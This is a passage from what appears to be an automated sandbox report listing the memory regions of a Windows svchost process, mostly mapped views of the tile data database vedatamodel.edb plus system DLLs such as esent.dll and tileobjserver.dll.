	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3768
	        start_va = 0x8c75ea0000
	          end_va = 0x8c75eaffff
	     entry_point = 0x8c75ea0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3769
	        start_va = 0x8c75eb0000
	          end_va = 0x8c75ebffff
	     entry_point = 0x8c75eb0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3770
	        start_va = 0x8c75ec0000
	          end_va = 0x8c75ecffff
	     entry_point = 0x8c75ec0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3771
	        start_va = 0x8c75ed0000
	          end_va = 0x8c75edffff
	     entry_point = 0x8c75ed0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3772
	        start_va = 0x8c75ee0000
	          end_va = 0x8c75eeffff
	     entry_point = 0x8c75ee0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3773
	        start_va = 0x8c75ef0000
	          end_va = 0x8c75efffff
	     entry_point = 0x8c75ef0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3774
	        start_va = 0x8c75f00000
	          end_va = 0x8c75f0ffff
	     entry_point = 0x8c75f00000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3775
	        start_va = 0x8c75f10000
	          end_va = 0x8c75f1ffff
	     entry_point = 0x8c75f10000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3776
	        start_va = 0x8c75f20000
	          end_va = 0x8c75f49fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c75f20000"
	        filename = ""

Region:
	              id = 3777
	        start_va = 0x8c75f50000
	          end_va = 0x8c75f5ffff
	     entry_point = 0x8c75f50000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3778
	        start_va = 0x8c75f60000
	          end_va = 0x8c75f6ffff
	     entry_point = 0x8c75f60000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3779
	        start_va = 0x8c75f70000
	          end_va = 0x8c75f7ffff
	     entry_point = 0x8c75f70000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3780
	        start_va = 0x8c75f80000
	          end_va = 0x8c75f8ffff
	     entry_point = 0x8c75f80000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3781
	        start_va = 0x8c75f90000
	          end_va = 0x8c75f9ffff
	     entry_point = 0x8c75f90000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3782
	        start_va = 0x8c75fa0000
	          end_va = 0x8c75faffff
	     entry_point = 0x8c75fa0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3783
	        start_va = 0x8c75fb0000
	          end_va = 0x8c75fbffff
	     entry_point = 0x8c75fb0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3784
	        start_va = 0x8c75fc0000
	          end_va = 0x8c75fcffff
	     entry_point = 0x8c75fc0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3785
	        start_va = 0x8c75fd0000
	          end_va = 0x8c75fdffff
	     entry_point = 0x8c75fd0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3786
	        start_va = 0x8c75fe0000
	          end_va = 0x8c75feffff
	     entry_point = 0x8c75fe0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3787
	        start_va = 0x8c75ff0000
	          end_va = 0x8c75ffffff
	     entry_point = 0x8c75ff0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3788
	        start_va = 0x8c76000000
	          end_va = 0x8c760fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c76000000"
	        filename = ""

Region:
	              id = 3789
	        start_va = 0x8c76100000
	          end_va = 0x8c7610ffff
	     entry_point = 0x8c76100000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3790
	        start_va = 0x8c76110000
	          end_va = 0x8c7611ffff
	     entry_point = 0x8c76110000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3791
	        start_va = 0x8c76120000
	          end_va = 0x8c7612ffff
	     entry_point = 0x8c76120000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3792
	        start_va = 0x8c76130000
	          end_va = 0x8c7613ffff
	     entry_point = 0x8c76130000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3793
	        start_va = 0x8c76140000
	          end_va = 0x8c7614ffff
	     entry_point = 0x8c76140000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3794
	        start_va = 0x8c76150000
	          end_va = 0x8c7615ffff
	     entry_point = 0x8c76150000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3795
	        start_va = 0x8c76160000
	          end_va = 0x8c7616ffff
	     entry_point = 0x8c76160000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3796
	        start_va = 0x8c76170000
	          end_va = 0x8c7617ffff
	     entry_point = 0x8c76170000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3797
	        start_va = 0x8c76180000
	          end_va = 0x8c7618ffff
	     entry_point = 0x8c76180000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3798
	        start_va = 0x8c76190000
	          end_va = 0x8c7619ffff
	     entry_point = 0x8c76190000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3799
	        start_va = 0x8c761a0000
	          end_va = 0x8c761affff
	     entry_point = 0x8c761a0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3800
	        start_va = 0x8c761b0000
	          end_va = 0x8c761bffff
	     entry_point = 0x8c761b0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3801
	        start_va = 0x8c761c0000
	          end_va = 0x8c761cffff
	     entry_point = 0x8c761c0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3802
	        start_va = 0x8c761d0000
	          end_va = 0x8c761dffff
	     entry_point = 0x8c761d0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3803
	        start_va = 0x8c761e0000
	          end_va = 0x8c761effff
	     entry_point = 0x8c761e0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3804
	        start_va = 0x8c761f0000
	          end_va = 0x8c761fffff
	     entry_point = 0x8c761f0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3805
	        start_va = 0x8c76200000
	          end_va = 0x8c7620ffff
	     entry_point = 0x8c76200000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3806
	        start_va = 0x8c76210000
	          end_va = 0x8c7621ffff
	     entry_point = 0x8c76210000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3807
	        start_va = 0x8c76220000
	          end_va = 0x8c76220fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c76220000"
	        filename = ""

Region:
	              id = 3808
	        start_va = 0x8c76230000
	          end_va = 0x8c7623ffff
	     entry_point = 0x8c76230000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3809
	        start_va = 0x8c76240000
	          end_va = 0x8c7624ffff
	     entry_point = 0x8c76240000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3810
	        start_va = 0x8c76250000
	          end_va = 0x8c7625ffff
	     entry_point = 0x8c76250000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3811
	        start_va = 0x8c76260000
	          end_va = 0x8c7635ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c76260000"
	        filename = ""

Region:
	              id = 3812
	        start_va = 0x8c76360000
	          end_va = 0x8c7636ffff
	     entry_point = 0x8c76360000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3813
	        start_va = 0x8c76370000
	          end_va = 0x8c7637ffff
	     entry_point = 0x8c76370000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3814
	        start_va = 0x8c76380000
	          end_va = 0x8c7638ffff
	     entry_point = 0x8c76380000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3815
	        start_va = 0x8c76390000
	          end_va = 0x8c7639ffff
	     entry_point = 0x8c76390000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3816
	        start_va = 0x8c763a0000
	          end_va = 0x8c763affff
	     entry_point = 0x8c763a0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3817
	        start_va = 0x8c763b0000
	          end_va = 0x8c763bffff
	     entry_point = 0x8c763b0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3818
	        start_va = 0x8c763c0000
	          end_va = 0x8c763cffff
	     entry_point = 0x8c763c0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3819
	        start_va = 0x8c763d0000
	          end_va = 0x8c763dffff
	     entry_point = 0x8c763d0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3820
	        start_va = 0x8c763e0000
	          end_va = 0x8c763effff
	     entry_point = 0x8c763e0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3821
	        start_va = 0x8c763f0000
	          end_va = 0x8c763fffff
	     entry_point = 0x8c763f0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3822
	        start_va = 0x8c76400000
	          end_va = 0x8c76400fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c76400000"
	        filename = ""

Region:
	              id = 3823
	        start_va = 0x8c76420000
	          end_va = 0x8c7642ffff
	     entry_point = 0x8c76420000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3824
	        start_va = 0x8c76500000
	          end_va = 0x8c765fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c76500000"
	        filename = ""

Region:
	              id = 3825
	        start_va = 0x7df5ff790000
	          end_va = 0x7ff5ff78ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff790000"
	        filename = ""

Region:
	              id = 3826
	        start_va = 0x7ff7b3156000
	          end_va = 0x7ff7b3157fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3156000"
	        filename = ""

Region:
	              id = 3827
	        start_va = 0x7ff7b3158000
	          end_va = 0x7ff7b3159fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3158000"
	        filename = ""

Region:
	              id = 3828
	        start_va = 0x7ff7b315a000
	          end_va = 0x7ff7b315bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b315a000"
	        filename = ""

Region:
	              id = 3829
	        start_va = 0x7ff7b315c000
	          end_va = 0x7ff7b315dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b315c000"
	        filename = ""

Region:
	              id = 3830
	        start_va = 0x7ff7b315e000
	          end_va = 0x7ff7b315ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b315e000"
	        filename = ""

Region:
	              id = 3831
	        start_va = 0x7ff7b3160000
	          end_va = 0x7ff7b325ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3160000"
	        filename = ""

Region:
	              id = 3832
	        start_va = 0x7ff7b3260000
	          end_va = 0x7ff7b3282fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3260000"
	        filename = ""

Region:
	              id = 3833
	        start_va = 0x7ff7b3284000
	          end_va = 0x7ff7b3285fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3284000"
	        filename = ""

Region:
	              id = 3834
	        start_va = 0x7ff7b3286000
	          end_va = 0x7ff7b3286fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3286000"
	        filename = ""

Region:
	              id = 3835
	        start_va = 0x7ff7b3288000
	          end_va = 0x7ff7b3289fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3288000"
	        filename = ""

Region:
	              id = 3836
	        start_va = 0x7ff7b328a000
	          end_va = 0x7ff7b328bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b328a000"
	        filename = ""

Region:
	              id = 3837
	        start_va = 0x7ff7b328e000
	          end_va = 0x7ff7b328ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b328e000"
	        filename = ""

Region:
	              id = 3838
	        start_va = 0x7ff7b3dc0000
	          end_va = 0x7ff7b3dccfff
	     entry_point = 0x7ff7b3dc0000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 3839
	        start_va = 0x7ffbf1dc0000
	          end_va = 0x7ffbf1e58fff
	     entry_point = 0x7ffbf1dc0000
	     region_type = mapped_file
	            name = "staterepository.core.dll"
	        filename = "\\Windows\\System32\\StateRepository.Core.dll" (normalized: "c:\\windows\\system32\\staterepository.core.dll")

Region:
	              id = 3840
	        start_va = 0x7ffbf1e60000
	          end_va = 0x7ffbf20f1fff
	     entry_point = 0x7ffbf1e60000
	     region_type = mapped_file
	            name = "windows.staterepository.dll"
	        filename = "\\Windows\\System32\\Windows.StateRepository.dll" (normalized: "c:\\windows\\system32\\windows.staterepository.dll")

Region:
	              id = 3841
	        start_va = 0x7ffbf5460000
	          end_va = 0x7ffbf58c9fff
	     entry_point = 0x7ffbf5460000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")

Region:
	              id = 3842
	        start_va = 0x7ffbf6fc0000
	          end_va = 0x7ffbf7156fff
	     entry_point = 0x7ffbf6fc0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 3843
	        start_va = 0x7ffbf7160000
	          end_va = 0x7ffbf7441fff
	     entry_point = 0x7ffbf7160000
	     region_type = mapped_file
	            name = "esent.dll"
	        filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll")

Region:
	              id = 3844
	        start_va = 0x7ffbf7450000
	          end_va = 0x7ffbf74d0fff
	     entry_point = 0x7ffbf7450000
	     region_type = mapped_file
	            name = "tileobjserver.dll"
	        filename = "\\Windows\\System32\\tileobjserver.dll" (normalized: "c:\\windows\\system32\\tileobjserver.dll")

Region:
	              id = 3845
	        start_va = 0x7ffbf9380000
	          end_va = 0x7ffbf96f5fff
	     entry_point = 0x7ffbf9380000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 3846
	        start_va = 0x7ffbf9700000
	          end_va = 0x7ffbf980efff
	     entry_point = 0x7ffbf9700000
	     region_type = mapped_file
	            name = "mrmcorer.dll"
	        filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll")

Region:
	              id = 3847
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 3848
	        start_va = 0x7ffbfe5e0000
	          end_va = 0x7ffbfe645fff
	     entry_point = 0x7ffbfe5e0000
	     region_type = mapped_file
	            name = "bcp47langs.dll"
	        filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll")

Region:
	              id = 3849
	        start_va = 0x7ffbffd20000
	          end_va = 0x7ffbffd77fff
	     entry_point = 0x7ffbffd20000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 3850
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 3851
	        start_va = 0x7ffbffeb0000
	          end_va = 0x7ffbffecefff
	     entry_point = 0x7ffbffeb0000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 3852
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 3853
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 3854
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
